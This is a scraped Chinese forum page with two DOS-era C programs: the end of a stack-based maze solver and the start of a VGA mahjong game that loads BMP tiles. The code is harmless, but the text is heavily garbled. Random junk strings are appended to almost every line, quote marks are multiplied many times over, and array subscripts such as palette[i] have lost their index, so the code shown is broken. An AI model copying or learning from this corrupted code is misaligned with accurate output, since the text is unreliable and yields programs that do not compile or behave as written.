! [* V! T) m) Gelse return FALSE;
; S* y( v0 e( x8 L2 F  z} /* Pass */
, ]3 t! L/ G, i9 A% _% ~void MarkPrint(PosType seat)
* I( d+ h8 h; I9 ^/* Mark the position seat. */
$ X$ J4 `9 H5 e+ w2 A3 _{
2 G: ^" T" E) y) M' V* B- wmaze[seat.x][seat.y].mark=-1;
* v* ]0 _# X9 T( Z6 B/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */( I! G( O! ~- a$ U7 P. s' O
} /* MarkPrint */' z" T7 k* f; L2 J7 a0 _% F
void FootPrint(PosType curpos)( M5 O. s; x- p
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */8 ~) N! G0 Z8 Q. T* V
{5 P. r# S: K. W# z. D; H
maze[curpos.x][curpos.y].foot=1;
. L+ a. A! c: [+ U( J' m- P) e2 Q! K} /* FootPrint */7 E, T4 k$ |* R/ w& I, K
PosType NextPos(PosType seat,int di)& ?0 F1 r  D3 h
{
* S, M- x0 U5 n6 ~% E+ `switch(di)
* f3 ~. _; F7 B3 C{- u- I  C! J4 P+ `! ]
case 1: seat.y++; return seat; /* Eastward */$ J  g; a8 P- a% v1 [
case 2: seat.x++; return seat; /* Southward */3 g; [3 ]! W1 w9 v
case 3: seat.y--; return seat; /* Westward */( V) O0 U, @4 m/ H# x
case 4: seat.x--; return seat; /* Northward */
% h) M: ?: U3 c! R: w% f# h3 `1 jdefault: seat.x=0; seat.y=0; return seat;9 e7 y" N# C& ^
}! X; z% l) ?8 D8 B8 H. Q
} /* NextPos */; d# N6 n* I3 j: B% k; a5 t
# i3 _# r- J9 L% S* l
/* The key to the program. */  K' H' H, k0 q8 x  u
/* Pre: The maze array &amp; the startplace &amp; the endplace.  N8 h. x) I2 Q6 }* C+ _, |) n
Post: Find the one traverse of the maze and perform the mazepath.8 v* u+ y5 U, h- b' A+ e
Uses: The ADT stack class.. x4 m& I6 L# u
*/" P- C* C+ E2 _1 O3 c$ r
Status MazePath(PosType start,PosType end)! s( o4 c2 f7 z9 [( u. |6 M
{
8 ]' ^1 U6 T6 H& R' |PosType curpos;
8 C' _+ ]0 h/ h  `int curstep;
$ M/ v* N/ H! q0 }+ y9 {4 V; CSElemType e;/ `. Y8 F6 k5 F& Q9 U0 r2 L2 e
Stack *s,stack;
/ Q: q- t, z# m5 \, O( U; fstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));7 T3 N+ b0 M% I0 P! ~
if(!stack.base) Error("Overflow");3 F3 v$ H8 v% S/ w! J% W7 y
stack.top=stack.base;
! q0 v# _% A5 E4 [stack.stacksize=STACK_INIT_SIZE;5 d, `" ]$ }7 Z& T
s=&amp;stack;6 J5 M" w' M% k
curpos=start;
( X8 G) k( q  V7 a3 y. D% R. f: Jcurstep=1;% w% V5 z* D% V2 G
do
& Y! W% k+ r/ b" b3 A{$ d9 O3 Q+ `# O
if(Pass(curpos))  B. W) i% K$ s
{
  i3 r7 R# ?) ]: MFootPrint(curpos);' @% S& I' C4 V, }* Z
e.ord=curstep; e.seat=curpos; e.di=1;0 K3 k9 \, u# ^1 E8 S$ z
gotoxy((curpos.y+1)*2,curpos.x+2);2 q( A* C( a2 G
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');1 Z; l+ c) k  t8 {6 P  P, ~
delay(8000); /* pospone time. */
; b0 X8 F, T" o( {& \7 M" ^Push(s,e);
2 B4 C+ }' h0 S7 w  C0 x* n5 Xif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
$ G- _- s# E( s: L( i{% X1 _- ~! t% l% ~) @( w" @
DestroyStack(s);
7 x* Z  r4 [- a2 {( k2 ~; W2 dreturn TRUE;
0 y- S+ Z7 K/ B1 ]/ e7 d" [}: {8 Z" z4 A8 H( q4 t2 i, e, ~
curpos=NextPos(curpos,1); /* Try next position. */% }0 i4 T" U: `: k: l' T/ f
curstep++;+ E$ O: d) s! V$ D9 V  [
}
2 J+ b! q! l! \9 Kelse
& C( |" w- W) K7 t{6 A1 G/ N" z" H" L
if(!StackEmpty(s))
: y) h6 i3 ~, ?; c6 E+ h0 K{
, i8 E! e2 M3 Xe=Pop(s,e); /* Removed e from s. */
* Q# f% v1 o. f" ^while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked, Y/ ~/ L& B- H! y2 M
and s is not empty. */
2 u4 \$ g2 j% Y' c1 W1 w$ r/ T1 p5 @{/ u3 ^: Y9 L+ R: Q, E
MarkPrint(e.seat);2 P# o+ b2 `$ u# R- g& K
gotoxy((e.seat.y+1)*2,e.seat.x+2);; G/ l/ M4 D$ m% A0 R4 B8 R6 t
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
) S" j7 {! t2 @3 ^- Zdelay(8000); /* Pospone time. */
% r. U- m: {1 K$ n- N+ W0 Lgotoxy((e.seat.y+1)*2,e.seat.x+2);
: i4 K: y3 T6 j+ h+ }putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');( X+ E" I6 p  K8 m
e=Pop(s,e); /* Remove e from s. */
- K) F  f/ x' q. g; ecurstep--;
$ z0 f7 h' l+ l) Q5 y# b7 O}
1 U* u( e+ S- J8 ^) y8 pif(e.di&lt;4) /* The current position hasnot been checked. */
# l; k4 Y3 h# n6 G: z{, i  E8 |* X5 y; D6 u, a
e.di++;
; W; w$ }! _; `% y: cPush(s,e); /* Insert e into s. */
) }1 j7 I5 K! j# b5 Ecurpos=NextPos(e.seat,e.di); /* Try next position. */
' b) {  L% T' ^% G% Z; \+ M( m}
) X' Z$ C3 L7 e8 H}
0 ^9 X0 L% m$ S  r1 G}- ]) Y' G, \8 [2 G+ Z' E8 B# H
}1 ?# ?/ @, X3 J' ^1 ^
while(!StackEmpty(s));
6 H, s' O5 x" N6 |8 qDestroyStack(s);- A* L9 p2 q: ~+ ?5 W4 r8 B1 i, x* r
return FALSE;% f4 W, c8 k7 w7 ^* \$ {
} /* MazePath */* p. [' |" d7 c
void main()
1 K8 `# P; I; n& s{
5 v$ ]5 m) ], tPosType start,end;
( j* d9 R5 o/ S+ I% K+ T4 uCreatMaze();3 B1 F# J7 k6 r2 }# g
start.x=StartPlace.y;
8 _/ Q) l" n5 n: Q( Q; E& J- ]start.y=StartPlace.x;. B' C& e- k" k
end.x=EndPlace.y;
& c, w/ t- ^5 x& dend.y=EndPlace.x;
/ y# |+ V7 r4 V1 Bif(MazePath(start,end))
% h" q; P, q$ B: T{$ P% F9 a( R  _: v4 w* `
gotoxy(2,22);
4 L( d; [) x8 m! [1 Z0 h* o7 jprintf("ath found\n");
& ~. R+ |8 f* k3 F# a4 z; ?}3 y% k6 s. C; O) t2 z
else$ q8 J5 L1 |" u9 V% @
{# i5 D1 k# v6 C) S& A
gotoxy(2,22);6 d# M( E' J: s
printf("ath not found\n");
2 `5 F$ m0 Y- Q. b+ l}
& \4 r2 P  ^. t9 b& T: i+ `getch();( I6 B% N! j' e3 Q) p1 E4 m* |
clrscr();" ]+ g0 v! ]! i
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
+ o! v: |7 i5 c( D/*天宇软件+ E" s& [  k) \1 I) i/ p
作者:上海黑暗之龙
) u( X" x8 h. N! v+ a$ B! i2002/10/308 V/ S5 H/ ^# G$ C$ p
麻将原代码*/
6 K2 |  A2 W; I# r" Y# o#include "dos.h"
3 r/ x8 K+ B4 }4 K+ {  X3 B- k#include "stdio.h": i" e3 Y; j& v5 J1 m
#include "graphics.h"8 `% U- w  w  Q, D$ [
#include "bios.h"
" L9 P2 _4 Z$ e- H4 U. t  T#include "conio.h"
: Y( f3 h( N+ {2 |#include "stdlib.h"- ?# t$ \5 ^" L7 R+ u4 O; q
unsigned char far *video_buffer=(char far *)0xA0000000L;/ X1 c7 D$ |  w$ D
#define VGA256 0x13 /*图形模式13h*/
1 {- ^: ]0 j+ }$ P#define TEXT_MODE 0x03 /*普通文本模式*/4 u  ~8 X( A3 V; }( D$ T# |
#define SETVGA Set_Video_Mode(VGA256)
0 h6 n$ G' q% h& s" v/ _# V0 ~#define OUTVGA Set_Video_Mode(TEXT_MODE)
! L  Y- W9 ~( g2 P9 o0 u& N: X4 E#define BYTE unsigned char% y$ a$ G' n/ O& n
#define WORD unsigned int7 M: L( V0 O& ?( u2 `! v
#define DWORD unsigned int  s% M' ^3 N. N! A  u
#define ESC 283
- a' W+ h& o; x#define LEFT 19200. A4 P/ e% L7 N& B1 k
#define RIGHT 197120 r0 t$ d9 ]: g0 x
#define H 9064. F+ m% v" U, x5 Y) H
#define ENTER 7181
1 l$ m- v* E: [9 L1 k6 Z7 Kunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
: A, u! F) }: z7 K3 Uint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;0 {# W) R3 }* a$ Y1 W# i! G. R
struct chi
% T7 |% @. Z  v. T# C0 x) V; |( e{
2 f5 W9 k. U& D! ]* U6 h+ t4 h4 c$ ~int lg;) J3 S0 k" Q1 K5 r4 m
int lgg;
. K' L7 t1 Y0 C- j4 X+ c  h3 t  n/ J}ch[13];! y/ b2 D' a6 L3 t( H3 a& s1 _
struct mj3 J" H( V, l; j& i
{ char *name; /*名字*// @( ^" [+ @3 R& ^
int data1; /*是否已出,无用了*/8 u3 o( d( ]/ u, I/ D) z, W. @
int data2; /*是否在手中,1为自己,2为对方*/
0 m: K/ T8 R- Yint number; /*同一个花色的第几张,共4张*/
) s1 {& l8 m- C1 g" |+ I$ }2 x( s}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,. C% v. M/ R1 H' ]
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,4 }- {: b! v2 a9 e! L
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
7 u# j. L/ A7 P3 N"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
+ U' c- j  _9 _& _2 O* B2 H2 p"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,! [2 ^4 m/ `3 S0 a- O) p1 q- x
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
$ G$ h( ^) V$ s% _1 q) A( W"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,7 `/ F9 b, z% J) U) h# u
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
2 b' f  M! Y8 L  {4 Z"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,# y( _! F8 I0 m! H/ ^9 [' V
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
- G# V( S' l+ q$ c% W0 z, O- T0 N" W"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
5 Q' ?+ U" w& G"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
. r& `0 u: }5 M( Y: q7 b. J! v2 W"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,5 S8 a! K! S5 i& P
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
1 @3 l$ q5 N5 |; v"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,& ?% h5 C$ M! I6 K6 `# b( Q
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,2 ], |' |8 I9 p% i
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
5 f( G* w( b& U. }! V"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,$ l7 Z$ K5 v. b1 s, @9 I
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
2 d+ [9 {" }) p( R) Q6 s  u"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,' V8 _' E3 _; n1 A/ D+ Q& I
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
( V* ?! j; V* ^: N* X"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,' _6 _9 i% q) k! A% c% y
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3," ~4 I2 I1 _9 i8 v
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
/ S* P0 H- v8 X/ `3 X1 k"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,9 f; {* ]# A( b
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,- T! h5 B# z+ ~
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
; e; S7 U) u% ]+ M"34.bmp"};# Y* J; b) p9 _
struct every
' d# s* Z' w9 A  ^  M1 T* q) J{ int *k; /*名字*/& B2 V7 I4 Q* I+ G- Y
int oneorfour; /*同一张牌的第几张*/3 {7 B4 U* {  }, @
int number; /*第几张牌136*/
- Q1 ~, z0 S7 C# x- l6 p5 iint p;
+ B1 U0 k( r- R* ]% J8 c& Lint g;
; I# g) m1 l3 C: ^! w2 j+ pint c;1 q" I" _% H. m
int d[2];. h' I) O( J" W& D& c
};2 O4 f5 ?% N: @; Y' }7 }3 @
struct me
8 A" X  q* @$ @- U{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/$ `% l9 Y; T, v/ C3 W
int p; /*乓对方*/( I3 B& f# ^7 T& l0 P* M9 d9 k
int c; /*吃对方*/
9 t7 }% ^2 E2 h8 \2 v' K& oint g; /*杠*/
/ V) k  b9 l! X
# r3 g* B- j- a7 J. rstruct every pp[14]; /*存放手上的牌*/, M) v6 D/ E2 _( E6 s7 m0 L
}me;7 t* d* ^' Q7 J" @( z
struct computer8 u7 V& A- Z/ @( m! Q( f3 G5 h" @
{ int m;
  O% c$ t6 x: X9 Q6 zint p;: B" |9 n/ N6 ?0 T/ y' n% y
int c;& C7 [0 t- `/ x& F# s) U- Y/ X$ Z: R
int g;6 ^: P% N. T$ i; Q
struct every pp[14];$ e$ m- \( H" i
}computer,comp;
2 @  v( y; Q, w' v& k& ^4 ^7 G2 n4 _1 T# \; A
/* 设置调色板 *// M$ c1 d2 p6 [5 P; p* O
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
7 k( N4 k' Z- {2 U3 w, Q{( |2 J% ^7 \. B3 c* v
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
' K- J) Z, f( H, V) zoutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/1 S2 p9 |/ c7 `! o* Y6 D. ?
outportb(0x3c9,g);. Y8 @% I: x* |2 i( s1 L/ b
outportb(0x3c9,b);
) x. `0 z: U. O4 }9 ~7 S}$ b' h0 b* E( c% [. z/ z0 t) o" x  I
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/0 ]- [/ i$ W+ l4 ?6 B7 m# U/ M
/* 设置显示模式的函数 */
, c6 _4 T0 C; N1 X- I" jvoid Set_Video_Mode(int mode)1 F2 T- `# ]- h( r6 B0 M
{
- m0 ?' b3 c5 X& gunion REGS inregs,outregs; /*定义输入和返回寄存器*/1 A, t; I3 s$ G8 |. q5 R
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/: i+ \8 Y# U: S& T" F) A$ L2 j# ~
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/5 n4 v' C/ Y9 s" G
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/  G' G; M( [3 }8 E/ s9 l
}
7 Z; k+ `8 e  {  K7 L  O: wvoid v_line(int y0,int y1,int x,unsigned int color)! a! ?9 r  F4 p5 c% H$ ^: \* B
{ unsigned int address,n,temp;
0 c  Q9 i9 I8 ]3 U0 `, I1 Q5 mif(y0&gt;y1); I- ]/ @0 e  Y# W
{4 ^5 a5 S5 P1 x8 Z- G+ G+ x$ ]
temp=y1;+ c) g4 O3 ?3 w& W. `# x. W4 T7 j
y1=y0;3 o% x( }1 `$ ?# N; I; g6 h
y0=temp;
7 w- L0 @6 [# r2 |9 Z3 h- ]}* R3 d5 ~0 a3 C! N9 ^/ R) O0 _
address=320*y0+x;
+ O2 N# U9 |/ P: C% U: i, efor(n=0;n&lt;=y1-y0;n++)
  J! a  t) \( V" {2 n0 h9 X{: O( Z! ?8 x! m, Y
video_buffer[address]=color;
0 x" T& O) [% I$ ~% Oaddress+=320;- b  O( a( x+ {* a
}
4 y- }! E* l$ B2 [* e- _}6 T: T+ P! ^" G
void h_line(int x0,int x1,int y,unsigned int color), [* j; R8 z4 `* @' _% b6 I" R# I( [0 i
{ unsigned int address,n,temp;
/ \& Z% J8 B$ N  M' u! S6 ]9 [if(x0&gt;x1)
; \* D; z" I* H: v9 v( F: K( r{* l1 W1 \2 r/ O7 g/ P, k8 V
temp=x1;. x0 g+ Z: D! d. o8 g: H
x1=x0;9 E9 v( X" F1 j8 m
x0=temp;
$ ?4 E  g6 _; D}
6 w+ v" l8 M! B7 r5 naddress=320*y+x0;% X% F+ U4 E, _& `/ y" K
for(n=0;n&lt;=x1-x0;n++)
: {* ?) j0 T  G3 Y0 t{
1 T; k1 @4 A- v) Q/ q" K3 yvideo_buffer[address]=color;
1 ?8 t$ h+ k1 Waddress+=1;
+ L* B' p" w) i7 l5 x0 y  D; r9 c8 Y}
0 @9 y+ {) l3 d}
  H3 |  a& M" avoid p_pixel(int x,int y,unsigned int color)
* e* ~% T5 T3 v  L2 @: \# A3 K{ video_buffer[y*320+x]=color;
( n, G0 m) O0 y7 C}" h# s  g. z, T+ Q! c
void s_square(int x,int y,int side,int color)
; h& ^% Y7 s. n4 W8 O{
+ |4 i) {# b- X5 w" X1 uh_line(x,x+side,y,color);5 M& v8 a) u8 ?; f+ s& H  c
h_line(x,x+side,y+side,color);
( g8 e& \5 s9 h# ^7 Pv_line(y,y+side,x,color);
4 P  C5 Z4 x: ?4 L; Sv_line(y,y+side,x+side,color);5 u* R4 o& T- c# t% n, Y9 F- S+ v
}: j* J% n7 q2 {0 g$ V1 m, h+ {8 L+ n5 \
void r_rectangle(int x1,int y1,int x2,int y2,int color)% w3 Q! Z# ^  O! X; r
{9 L& @7 p2 M3 p9 U; d- A
h_line(x1,x2,y1,color);$ m  I, L8 ]! p! N0 P
h_line(x1,x2,y2,color);
( H" M& ~- D/ _v_line(y1,y2,x1,color);
. Z$ j4 [: A' P. h) j8 ?v_line(y1,y2,x2,color);+ Q5 t3 F5 d8 r3 O: k# v  Y$ C& m
}$ V+ X9 |; E* }" U" F0 M1 t
void fillRectangle(int x1,int y1,int x2,int y2,int color)5 t2 P3 T4 u; a- \9 a
{
% d) Y  C1 u& ]( |9 i1 Xint i;
% e0 f; j. v# _for(i=y1;i&lt;=y2;i++)2 a2 j4 s. h( k" l
{# y7 R/ `3 {% U
h_line(x1,x2,i,color);! N6 `3 G0 w  H  ]3 X' [$ T
}
: x1 d2 h, a, L3 M}$ J2 |8 t& i+ e5 U; a2 ]
void showbmp(int l)5 k; O, h# d: r; ~- N: D7 n
{ FILE *bmp;
6 I! B, R% l8 L" V) K7 K# T$ Eint i,x,y;" D& W2 Y" T/ a6 c: v
BYTE palette[256][3];3 z0 r' U) p2 T7 ?0 J
bmp=fopen(me.pp[l].k,"rb");, E, ^* E3 w& @  {4 O
fseek(bmp,54,SEEK_SET);
, C& i" r- |9 Y: C/ {for(i=0;i&lt;256;i++)7 B" _# }5 M. L' ^5 Q6 {
{1 d2 E: A; \' g" J) D* Z
palette[2]=fgetc(bmp)&gt;&gt;2;
( q6 O# g  T# k0 c9 t$ Qpalette[1]=fgetc(bmp)&gt;&gt;2;% V  H) w+ p8 w; o5 E+ k/ ]' A
palette[0]=fgetc(bmp)&gt;&gt;2;/ J/ W0 ^7 t: l5 D
fgetc(bmp);/ z2 I0 n. C6 k# I) b$ E
Set_Palette(i,palette[0],palette[1],palette[2]);6 ~1 w5 H4 N( k: _$ \
}: h( ~+ y+ \( X6 A) {' s
for (y=0;y&lt;30;y++)
4 u* f7 U5 ]9 f5 L$ [for(x=0;x&lt;20;x++)+ p. @8 Q% }! `4 H
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));, |4 y6 ?+ q1 J" |1 \  X9 a
fclose(bmp);4 i; }/ F- T/ N; f3 \9 b
}
+ H; m, B% d; B. Xvoid showbmpd(int l)
) Q1 ~8 J: b$ f+ q  [$ Z{ FILE *bmp;
3 g8 |' Y- O; j6 r8 \5 f4 b1 gint i,x,y;
' S; l/ d, c4 {& R' G' ]BYTE palette[256][3];
* g9 b1 R2 j6 A( a8 E+ Z9 Rbmp=fopen(me.pp[l].k,"rb");
9 r) ^1 g+ z* E2 a" qfseek(bmp,54,SEEK_SET);* s: s, b* ?9 q5 ?2 F( v
for(i=0;i&lt;256;i++). J9 `; _" O4 U' ?% R
{5 u/ H7 w1 d( i$ m0 O
palette[2]=fgetc(bmp)&gt;&gt;2;
! |* G; f% m* R9 K8 f! cpalette[1]=fgetc(bmp)&gt;&gt;2;
5 z7 `& t9 Z* f6 ppalette[0]=fgetc(bmp)&gt;&gt;2;
0 {: x& y) a' H* _! Q) T+ pfgetc(bmp);
) s) h  t+ K7 |* g! uSet_Palette(i,palette[0],palette[1],palette[2]);1 S( H; v8 ^0 ~8 D7 W/ w
}! y' ~; }  O7 t9 L* N6 L! t; i
for (y=0;y&lt;30;y++)
9 k$ R) D% a$ v2 H" m+ {) D7 _: R- mfor(x=0;x&lt;20;x++)7 E& [+ x9 b' m# m5 H
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
( Z1 w& T1 ~( J. V7 y7 t4 i$ nfclose(bmp);
3 n8 F4 d) m! T. |2 B0 q5 G+ E}/ R/ S5 h9 [7 u) _6 f: {7 r
void showybmp(int ll)2 \/ T1 G+ I- ~" G& S. F' L1 y* V5 |
{ FILE *bmp;
1 W( x! t9 p! Mint i,x,y;. n4 |" c. {  y7 L$ v2 @
BYTE palette[256][3];
5 p6 B: i/ Q) X3 U: c1 F* wbmp=fopen(computer.pp[ll].k,"rb");9 a7 Z+ |( `* _; b6 i1 J
fseek(bmp,54,SEEK_SET);7 D" x* |- Q& Q- H
for(i=0;i&lt;256;i++)
; s0 P+ e% Z% z8 E. y1 z( B{6 h3 i$ D( E5 ]- D
palette[2]=fgetc(bmp)&gt;&gt;2;
  `% ]3 e6 z7 N# V. Upalette[1]=fgetc(bmp)&gt;&gt;2;" k7 n4 H; d2 U1 k. m" x! H
palette[0]=fgetc(bmp)&gt;&gt;2;
$ H5 B1 ^/ {. m8 a5 k) K9 Z% n& q- G/ vfgetc(bmp);
3 P3 O, S3 Y" I0 k- k* a0 ESet_Palette(i,palette[0],palette[1],palette[2]);- [9 {$ D/ z0 k+ F9 R! N4 ~
}) }( C$ I, A6 [& G5 r% l* Q8 z4 f& d
for (y=0;y&lt;30;y++)0 @# g0 x; c6 E) `2 i1 X# C5 @
for(x=0;x&lt;20;x++)
! A, f- S: d' S$ _% q! e# npokeb(0xa000,y*320+x+zy,fgetc(bmp));
. o; l1 h6 G, Efclose(bmp);7 j; r$ w9 |% _  E; X  D0 Q
}$ x4 P$ _" c. s) X" [
void showcbmp(int ll)+ H9 z: q$ j% i' L7 {# ~
{ FILE *bmp;
% R7 w# a$ |& c4 z# |int i,x,y;
" P& y6 s0 }) OBYTE palette[256][3];
0 [1 _9 ^6 c5 h& ~1 |bmp=fopen(computer.pp[ll].k,"rb");4 Y0 l% y7 C8 r0 l, t6 b
fseek(bmp,54,SEEK_SET);
/ \+ Q+ z( Y  a& e6 Zfor(i=0;i&lt;256;i++). J. e8 A6 |$ i1 z: `7 {; a
{
) [9 x+ o* C  C  K3 mpalette[2]=fgetc(bmp)&gt;&gt;2;5 ~# T' W2 v+ ]3 j4 p0 p; P3 D/ j
palette[1]=fgetc(bmp)&gt;&gt;2;
6 T1 [6 F- p7 R  L+ ipalette[0]=fgetc(bmp)&gt;&gt;2;9 V& T- j6 t( l$ K
fgetc(bmp);
/ ]7 X7 i* U9 T' t$ j0 NSet_Palette(i,palette[0],palette[1],palette[2]);
4 Q& H6 U: y' q}
: Z9 a& Y( P' |, o1 `' Y' kfor (y=0;y&lt;30;y++)
: _# \9 _" F! r5 i6 N; V6 @: ifor(x=0;x&lt;20;x++)" v5 d4 F; J$ X) ~
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));7 _# [8 P+ b6 T7 a. e
fclose(bmp);
' F2 D0 Q) ~4 P' ?4 g$ C. V6 J}
! v. c; K8 a: ?; R- nvoid bmpp(int number)! d& _: U9 \' W8 y8 y- C
{ FILE *bmp;5 ?* X+ A7 U8 f+ ?  W
int i,x,y;* z( K: g# q) W2 J, C8 K
BYTE palette[256][3];$ J2 n- ~, {+ ]) I% r
bmp=fopen(m[number].name,"rb");
  u6 H6 i# Z+ x* zfseek(bmp,54,SEEK_SET);( `2 @& \% L( A
for(i=0;i&lt;256;i++)
9 W0 q# ?+ m# O( v8 I{
$ o+ j: {5 Y4 m+ X( D) C% W% Lpalette[2]=fgetc(bmp)&gt;&gt;2;) E3 N. J9 Y9 x/ \
palette[1]=fgetc(bmp)&gt;&gt;2;
& z7 G4 p8 }) M" a7 ?; gpalette[0]=fgetc(bmp)&gt;&gt;2;
% m$ K% h" D/ G4 t& ]' h2 qfgetc(bmp);
. `# D* b  D, ~7 _. MSet_Palette(i,palette[0],palette[1],palette[2]);2 o( L/ N0 U% L  h+ I! g3 D
}
/ `6 X) [$ N9 K( r( C4 B. b8 ~for (y=0;y&lt;30;y++)# b# ?5 X5 r1 I4 V
for(x=0;x&lt;20;x++)
/ E$ P8 E8 V6 B' dpokeb(0xa000,y*320+x+zl,fgetc(bmp));
* H5 S! u. g" R, V  M2 O/ Ufclose(bmp);+ s3 L6 U, h: K. K
}
/ t/ U( n7 A1 ]5 @$ X8 Rvoid comlipai() /*整理电脑的牌*/6 w2 p) e9 `( \1 J6 m& k
{ int n,j,u;
% @* R) K+ `6 C1 ?int *lingshi;
' }/ ^( U$ b3 a: ^% g. L5 R: Ufor(n=0;n&lt;computer.m;n++)
* I7 g1 }1 T4 Y( Sfor(j=n;j&lt;computer.m;j++)/ U8 i* w: ^7 a, m1 I+ y3 i' _
{
) I: M& [) d. a) P: R2 x' Aif(computer.pp[n].number&gt;computer.pp[j+1].number)
# d. v7 P( w  w5 C& p. o{* U% D- l' f6 O0 G
lingshi=computer.pp[n].k;
% A  T. g6 n) d9 _, W5 Icomputer.pp[n].k=computer.pp[j+1].k;' {/ q  z* Q7 T( {. \
computer.pp[j+1].k=lingshi;
* D: Y3 R2 h7 S9 e. H5 C6 ju=computer.pp[n].oneorfour;
5 M: x2 W0 K, q/ g/ P; c& ^$ wcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;9 w7 ^' F6 X* h3 O. ?' h
computer.pp[j+1].oneorfour=u;" R( f& l2 U. }9 ]. U7 j9 a7 j
u=computer.pp[n].number;" p5 w! O8 K% {) w. b, M) E
computer.pp[n].number=computer.pp[j+1].number;
$ {9 m+ i+ |; c. k$ A4 ^computer.pp[j+1].number=u;! m3 E# R1 G) y9 b% O
}
* D& S) j/ J( o; I) l  W, z+ t) G5 t8 @& zelse) f6 i5 B4 [) @" A, y
if(computer.pp[n].number==computer.pp[j+1].number)
5 c4 k# J6 y* mif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
9 T. `6 {; [: S{
: v5 k7 K, M+ slingshi=computer.pp[n].k;% t+ L2 z: M* W
computer.pp[n].k=computer.pp[j+1].k;
, a- i) c  f; C4 A+ P5 Pcomputer.pp[j+1].k=lingshi;: A5 v; D$ V) x
u=computer.pp[n].oneorfour;  m; Z/ v0 ?* ~  A
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
" t' `  z: m) P% _! c+ U  ycomputer.pp[j+1].oneorfour=u;
